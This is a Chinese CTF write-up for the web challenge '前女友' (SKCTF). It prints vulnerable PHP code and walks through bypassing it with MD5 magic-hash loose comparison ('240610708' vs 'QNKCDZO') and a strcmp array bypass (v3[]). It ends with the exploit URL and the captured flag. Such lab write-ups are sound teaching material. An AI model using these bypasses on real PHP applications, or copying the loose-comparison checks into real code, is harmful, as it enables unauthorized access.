前女友(SKCTF)

前女友(SKCTF)

100

http://123.206.31.85:49162/ flag格式:SKCTF{xxxxxxxxxxxxxxxxxx}

1.查找连接

查看源代码,差点被骗掉,连接就藏再里面 code.txt

<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>

参考strcmp

strcmp() 函数比较两个字符串。

注释:strcmp() 函数是二进制安全的,且对大小写敏感。

提示:该函数与 strncmp() 函数类似,不同的是,通过 strncmp() 您可以指定每个字符串用于比较的字符数。

var_dump(md5('240610708') == md5('QNKCDZO'));

之前做题遇到的md5可能会排上用场

2.php代码审计

开始构造参数

PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以0ed的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以0ed+类型的,那么PHP将会认为他们相同,都是0。同时MD5不能处理数组,有时也可以用数组绕过。同时strcmp()函数也可用数组绕过。

http://123.206.31.85:49162/?v1=240610708&v2=QNKCDZO&v3[]=asd

所以得到flag SKCTF{Php_1s_tH3_B3St_L4NgUag3}

By 吾空 发布            此页面修订于: 2019-05-23 17:43:15

results matching ""

    No results matching ""